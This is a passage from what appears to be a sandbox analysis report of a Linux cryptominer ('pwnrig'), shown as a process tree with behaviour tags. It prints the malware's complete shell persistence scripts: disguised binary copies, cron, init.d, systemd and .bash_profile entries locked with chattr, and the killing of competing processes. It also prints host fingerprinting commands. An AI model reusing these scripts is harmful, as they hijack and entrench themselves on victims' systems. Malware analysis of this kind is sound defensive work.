2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"3⤵
- Writes file to tmp directory
PID:2873 -
/usr/bin/idid -u4⤵PID:2874
-
-
/usr/bin/idid -u4⤵PID:2875
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
PID:2876
-
-
/usr/bin/rmrm -rf /bin/bprofr4⤵PID:2877
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"4⤵PID:2878
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr4⤵
- Writes file to system bin folder
PID:2879
-
-
/usr/bin/idid -u4⤵PID:2880
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
PID:2881
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly4⤵PID:2882
-
-
/usr/bin/chattrchattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr4⤵
- Attempts to change immutable files
PID:2883
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove4⤵PID:2947
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:2948
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:2948
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:2948
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
- Reads EFI boot settings
PID:2948
-
-
-
/usr/bin/rmrm -rf /bin/initdr4⤵PID:2974
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr4⤵
- Writes file to system bin folder
PID:2975
-
-
/usr/bin/teetee /etc/init.d/pwnrig4⤵
- Modifies init.d
PID:2977
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig4⤵
- Modifies init.d
PID:2978
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr4⤵PID:2979
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults4⤵PID:2980
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:2981
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:2981
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:2981
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵PID:2981
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable4⤵PID:3007
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:3008
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig5⤵PID:3008
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:3008
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig5⤵
- Reads EFI boot settings
PID:3008
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:3009
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:3009
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:3009
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
- Reads EFI boot settings
PID:3009
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr4⤵PID:3035
-
-
/usr/bin/whichwhich systemctl4⤵PID:3036
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵PID:3037
-
-
/usr/bin/rmrm -rf /bin/sysdr4⤵PID:3038
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr4⤵
- Writes file to system bin folder
PID:3039
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Modifies systemd
PID:3041
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵PID:3042
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵PID:3043
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service4⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:3044
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service4⤵
- Reads EFI boot settings
PID:3072
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:3113
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service4⤵
- Reads EFI boot settings
PID:3139
-
-
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:3196 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
PID:3220 -
/usr/bin/whoamiwhoami4⤵PID:3231
-
-
/usr/bin/hostnamehostname4⤵PID:3232
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:3233
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:3249
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:3251
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵
- Reads CPU attributes
PID:3250
-
-
/usr/bin/idid -u4⤵PID:3253
-
-
/usr/bin/grepgrep -v grep4⤵PID:3256
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:3255
-
-
/usr/bin/psps x4⤵PID:3254
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:3258
-
/usr/bin/idid -u4⤵PID:3259
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"4⤵PID:3264
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd4⤵PID:3263
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"4⤵PID:3262
-
-
/usr/bin/grepgrep -v grep4⤵PID:3261
-
-
/usr/bin/psps aux4⤵
- Reads CPU attributes
- Reads runtime system information
PID:3260
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"3⤵PID:3266
-
/usr/bin/idid -u4⤵PID:3267
-
-
-
-
/usr/bin/crontabcrontab -r2⤵PID:3846
-
-
/usr/bin/pkillpkill -f .klibsystem52⤵
- Reads CPU attributes
PID:3847
-
-
/usr/bin/pkillpkill -f .klibsystem42⤵
- Reads CPU attributes
PID:3848
-
-
/usr/bin/bashbash -c "echo \"* * * * * /opt/.klibsystem5 >/dev/null 2>&1\" | crontab -"2⤵PID:3849
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:3851
-
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/.lib-knlib42⤵
- Attempts to change immutable files
PID:3852
-
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib42⤵PID:3853
-
-
/usr/bin/chattrchattr -ia /var/spool/cron/.lib-knlib42⤵
- Attempts to change immutable files
PID:3854
-
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib42⤵PID:3855
-
-
/usr/bin/chattrchattr -ia /etc/cron.hourly/.lib-knlib42⤵PID:3856
-
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib42⤵PID:3857
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/.lib-knlib42⤵PID:3858
-
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib42⤵PID:3859
-
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/.lib-knlib42⤵PID:3860
-
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib42⤵PID:3861
-
-
/usr/bin/chattrchattr -ia /etc/cron.monthly/.lib-knlib42⤵PID:3862
-
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib42⤵PID:3863
-
-
/usr/bin/chattrchattr -ia /etc/anacrontab2⤵PID:3864
-
-
/usr/bin/chattrchattr +ia /etc/anacrontab2⤵
- Attempts to change immutable files
PID:3865
-
-
/tmp/sys-helper/tmp/sys-helper2⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:3866
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:3867 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
PID:3868 -
/usr/bin/whoamiwhoami4⤵PID:3879
-
-
/usr/bin/hostnamehostname4⤵PID:3880
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:3881
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:3897
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"4⤵PID:3899
-
-
/usr/bin/psps -A "-ostat,ppid"4⤵
- Reads runtime system information
PID:3898
-
-
/usr/bin/idid -u4⤵PID:3901
-
-
/usr/bin/grepgrep -v grep4⤵PID:3904
-
-
/usr/bin/grepgrep /etc/cron4⤵PID:3903
-
-
/usr/bin/psps x4⤵PID:3902
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"3⤵
- Writes file to tmp directory
PID:3906 -
/usr/bin/idid -u4⤵PID:3907
-
-
/usr/bin/idid -u4⤵PID:3908
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"4⤵
- Attempts to change immutable files
PID:3909
-
-
/usr/bin/rmrm -rf /bin/bprofr4⤵PID:3910
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"4⤵PID:3911
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr4⤵
- Writes file to system bin folder
PID:3912
-
-
/usr/bin/idid -u4⤵PID:3913
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"4⤵PID:3914
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly4⤵PID:3915
-
-
/usr/bin/rmrm -rf /bin/initdr4⤵PID:4007
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr4⤵
- Writes file to system bin folder
PID:4008
-
-
/usr/bin/teetee /etc/init.d/pwnrig4⤵
- Modifies init.d
PID:4010
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig4⤵
- Modifies init.d
PID:4011
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr4⤵PID:4012
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults4⤵PID:4013
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:4014
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:4014
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:4014
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
- Reads EFI boot settings
PID:4014
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable4⤵PID:4040
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:4041
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig5⤵PID:4041
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig5⤵PID:4041
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig5⤵PID:4041
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:4042
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:4042
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:4042
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵PID:4042
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr4⤵
- Attempts to change immutable files
PID:4068
-
-
/usr/bin/whichwhich systemctl4⤵PID:4069
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵PID:4070
-
-
/usr/bin/rmrm -rf /bin/sysdr4⤵PID:4071
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr4⤵
- Writes file to system bin folder
PID:4072
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵
- Modifies systemd
PID:4074
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service4⤵PID:4075
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr4⤵PID:4076
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service4⤵
- Reads EFI boot settings
PID:4077
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service4⤵
- Reads EFI boot settings
PID:4103
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:4129
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service4⤵
- Reads EFI boot settings
PID:4166
-
-
-
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d2⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:4222 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""3⤵
- Attempts to change immutable files
PID:4246 -
/usr/bin/whoamiwhoami4⤵PID:4257
-
-
/usr/bin/hostnamehostname4⤵PID:4258
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo4⤵
- Checks CPU configuration
PID:4259
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"3⤵PID:4275
-
